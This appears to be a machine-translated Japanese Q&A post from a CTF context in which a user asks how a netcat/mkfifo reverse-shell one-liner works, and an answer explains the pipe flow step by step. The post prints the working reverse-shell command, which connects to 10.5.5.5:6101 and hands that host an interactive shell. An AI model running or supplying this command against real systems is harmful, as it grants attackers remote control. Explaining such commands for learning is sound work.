このコードは実際に何をしていますか?

このコードは実際に何をしていますか?

プラットフォームでCTFチャレンジを実行している間にリバースシェルが必要でしたが、うまくいかなかったので、フローを見てリバースシェルコードを見つけました。

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

これは実際には機能しますが、パイプがどのように機能するか、データを送信する場所などは実際には理解できません。誰かがこれを説明できますか?

答え1

これにより、システムにリモートで制御されるシェルが設定されます。入力と出力は次のとおりです。

  • cat /tmp/mFIFOで読んで/tmp/m書いてください。
  • |/bin/sh -i 2>&1読み取ったコマンドを実行し、出力(標準出力と標準エラー)を次に送信します。
  • |nc 10.5.5.5 610110.5.5.5:6101に接続して書き込みます。
  • >/tmp/m先に入ったのが先に出たのです。

したがって、リモートシステムはから送信しnc、FIFOに書き込み、読み取りcat、および解釈するコマンドを提供することができ、shこれらのコマンドの出力はFIFOを介してリモートシステムに送り返されますnc

関連情報